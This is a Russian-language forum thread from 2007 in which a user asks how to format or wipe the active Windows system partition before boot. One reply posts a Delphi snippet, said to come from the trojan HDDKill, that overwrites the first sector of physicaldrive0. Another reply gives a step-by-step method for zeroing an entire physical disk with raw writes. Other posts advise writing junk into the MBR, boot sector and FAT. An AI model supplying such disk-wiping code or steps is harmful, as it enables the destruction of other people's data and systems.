Посл.ответ |
Сообщение |
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 05 сентября 2007 02:20 · Личное сообщение · #1
Как образом можно форматнуть системный раздел с виндой?
| Сообщение посчитали полезным: |
|
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 05 сентября 2007 02:22 · Личное сообщение · #2
я в том плане что до загрузки винды както ето можно сделать!
Вот собственно интересует как
| Сообщение посчитали полезным: |
Ранг: 196.0 (ветеран), 72thx Активность: 0.14↘0.02 Статус: Участник
|
Создано: 05 сентября 2007 02:37 · Поправил: Djeck · Личное сообщение · #3
Sn пишет:
Как образом можно форматнуть системный раздел с виндой
Чё-то не понял вопроса.Обычно делают так(самый простой способ)-Вставляешь загрузочный диск с виндой и там форматируешь раздел который тебе нужен(при установке винда спросит форматировать или нет)
Токо сейчас вкурил:ты походу вирусняк пишешь?
| Сообщение посчитали полезным: |
Ранг: 117.1 (ветеран) Активность: 0.05↘0 Статус: Участник
|
Создано: 05 сентября 2007 05:37 · Личное сообщение · #4
Sn
А зачем форматировать? Достаточно открыть диск в raw режиме и записать мусор в начало.
Sn пишет:
я в том плане что до загрузки винды както ето можно сделать!
С boot cd, например.
----- Security through obscurity is just an illusion | Сообщение посчитали полезным: |
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 05 сентября 2007 07:38 · Поправил: Sn · Личное сообщение · #5
Djeck пишет:
Токо сейчас вкурил:ты походу вирусняк пишешь?
Нет
| Сообщение посчитали полезным: |
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 05 сентября 2007 07:42 · Личное сообщение · #6
Интересует как например партишейн межик ето делает:
В винде указывает форматировать раздел или конвертировать в другую фаловую систему, если раздел активный то комп перезагружаеться и идет процесс
| Сообщение посчитали полезным: |
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 05 сентября 2007 07:49 · Личное сообщение · #7
pushick пишет:
А зачем форматировать? Достаточно открыть диск в raw режиме и записать мусор в начало.
Ткак таблицу размещения файлов очистить?
Тьесть туда я понимаю нада мусора накатить или что?
| Сообщение посчитали полезным: |
Ранг: 500.5 (!), 8thx Активность: 0.23↘0 Статус: Участник
|
Создано: 05 сентября 2007 08:19 · Личное сообщение · #8
Пишешь мусор в BOOT, Master Boot Record (MBR) и FAT, если это FAT32, под ntfs так просто не получится...
Винды кстати тоже не дадут туда писать, только под DOS, ну или до загрузки вынь.
----- "Пусть видят, что мы не шутим. Стволы для понта, ножи для дела" Lock, Stock & Two Smoking Barrels | Сообщение посчитали полезным: |
Ранг: 117.1 (ветеран) Активность: 0.05↘0 Статус: Участник
|
Создано: 05 сентября 2007 09:24 · Поправил: pushick · Личное сообщение · #9
Открывается диск в raw режиме и записывается любой мусор. Будет работать на NTFS. Единственное ограничение - права администратора. Если разобрать структуры фс, можно сделать вообще что угодно. Но на активной винде черевато подводными камнями.
var
f1: THANDLE;
bytesIO: DWORD;
buf: array[0..511] of BYTE;
textbuf: array[0..1023] of char;
begin
memcopy(@textbuf, @diskpart0, sizeof(diskpart0));
f1 := CreateFile(textbuf, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
WriteFile(f1, buf, 512, bytesIO, nil);
CloseHandle(f1);
end;
где diskpart0 - \\.\physicaldrive0, пример - кусок из Trojan.HDDKill.4608
Sn
Для 9х есть тоже хороший и убийственный код. Применен в Win32.Serva.11776.
Ну так тебе не вредоносный код нужен, то это все не пойдет, конечно.
----- Security through obscurity is just an illusion | Сообщение посчитали полезным: |
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 05 сентября 2007 10:43 · Личное сообщение · #10
pushick
Спасибо, буду пробоать !
Smon пишет:
Винды кстати тоже не дадут туда писать, только под DOS, ну или до загрузки вынь.
Каким мокаром до загрузки выполнить>?
Драйвер писать?
| Сообщение посчитали полезным: |
 Ранг: 387.4 (мудрец) Активность: 0.17↘0 Статус: Участник системщик
|
Создано: 05 сентября 2007 19:27 · Личное сообщение · #11
Sn пишет:
Каким мокаром до загрузки выполнить>?
ты хочешь свою утилитку для управления разделами?
Если так, то бери самый мелкий линукс, пиши его на CD/flashdrive, загружайся и делай простую прогу читающую /dev/hda или /dev/sda по байтам. Усё - дальше дело в фантазии и отладке - раздел в данный момент не используется - меняй что хочешь. Только внимательно вкуривай в дисковые структуры. Я бы сначала написал read-only штуку которая всю инфу печатала на экран.
| Сообщение посчитали полезным: |
Ранг: 117.1 (ветеран) Активность: 0.05↘0 Статус: Участник
|
Создано: 06 сентября 2007 03:21 · Личное сообщение · #12
Sn
А, действительно, что ты хочешь написать? Какого рода программу?
----- Security through obscurity is just an illusion | Сообщение посчитали полезным: |
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 06 сентября 2007 07:24 · Личное сообщение · #13
ВСем сенк, кто писал по теме, вроде понял немного. буду пробовать
Да прогу ктр s0larian пишет:
ты хочешь свою утилитку для управления разделами?
Почти, нужна своя небольшая прога для быстрого формата и конвертирования разделов!
pushick,
| Сообщение посчитали полезным: |
 Ранг: 387.4 (мудрец) Активность: 0.17↘0 Статус: Участник системщик
|
Создано: 06 сентября 2007 08:06 · Личное сообщение · #14
Sn тогда тебе это не надо делать из-под windows
| Сообщение посчитали полезным: |
Ранг: 117.1 (ветеран) Активность: 0.05↘0 Статус: Участник
|
Создано: 06 сентября 2007 08:14 · Личное сообщение · #15
Sn
Интересно, как ты реализуешь конвертирование раздела из fat32 в ntfs и обратно. Хочу посмотреть на то, что у тебя получиться.
----- Security through obscurity is just an illusion | Сообщение посчитали полезным: |
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 06 сентября 2007 10:59 · Личное сообщение · #16
pushick пишет:
Интересно, как ты реализуешь конвертирование раздела из fat32 в ntfs и обратно. Хочу посмотреть на то, что у тебя получиться.
вот и хотел пока узнать каким мокаром можно былоб для начала форматнуть используемый раздел
| Сообщение посчитали полезным: |
Ранг: 10.6 (новичок) Активность: 0.01↗0.02 Статус: Участник
|
Создано: 06 сентября 2007 11:02 · Личное сообщение · #17
s0larian пишет:
Sn тогда тебе это не надо делать из-под windows
Я изначально вопрос ставил не в плане из под винды, а чтоб в винде запустить прогу и при перезагрузке ето будет делать
Я изначально вроде и несобирался из под винды, (имелось ввиду в винде запутсить и при перезагрузке сделаеться и писец :s1
Sn пишет:
Интересует как например партишейн межик ето делает:
В винде указывает форматировать раздел или конвертировать в другую фаловую систему, если раздел активный то комп перезагружаеться и идет процесс
| Сообщение посчитали полезным: |
Ранг: 14.5 (новичок) Активность: 0.01↘0 Статус: Участник
|
Создано: 12 октября 2007 13:55 · Личное сообщение · #18
писать за тебя программу я не буду пробуй сам
раскажу алгоритм что и зачем тебе надо зделать!!
первое делаешь CreateFile где в качестве имени передаешь ему "\.\physicaldrive0"
берешь какойто буфер размером 512 байт и забиваешь его нулями
читаешь с диска размер сектора(по умолчанию 512)
количество дорожек
количество секторов в дорожке
количество головок
все ето перемножаешь и ты получишь физический размер жесткогодиска
все что получилось делишь на 512 и ты получишь количество тактов прохода цикла
далее в цикле пишешь свой буфер с нулями на жесткий диск
естественно каждый раз когда ты вызываешь writefile незабудь вызвать setfilepointer
вот в принципе и все ах да еще диск который ты форматируешь должен быть не системным просто как ты затрешь системные сектора комп зависнет
я ето все уже написал и реализовал готовый код я не даю потому что тебе надо самому разобраться и все понять
для реализации етой идеии тебе нужно сл функции
createfile
setfilepointer
writefile
closehandle
globalalloc
globallock
вроде всеесли будут проблемы в результате написания обращайся подскажу
| Сообщение посчитали полезным: |
 Ранг: 673.3 (! !), 400thx Активность: 0.4↘0.31 Статус: Участник CyberMonk
|
Создано: 12 октября 2007 16:47 · Личное сообщение · #19
на Wasm поищи там выкладывали исходники на МАСМ и ФАСМ  и себе не сотри случайно
----- RE In Progress [!] Coding Hazard [!] Stay Clear of this Cube | Сообщение посчитали полезным: |
Ранг: 117.1 (ветеран) Активность: 0.05↘0 Статус: Участник
|
Создано: 12 октября 2007 17:06 · Личное сообщение · #20
super_man86
mak
Иногда полезно посматривать на даты постов.
----- Security through obscurity is just an illusion | Сообщение посчитали полезным: |
Ранг: 12.0 (новичок) Активность: 0=0 Статус: Участник
|
Создано: 12 октября 2007 23:37 · Личное сообщение · #21
pushick Теме вообщето не несколько лет, а чуть более месяца...
| Сообщение посчитали полезным: |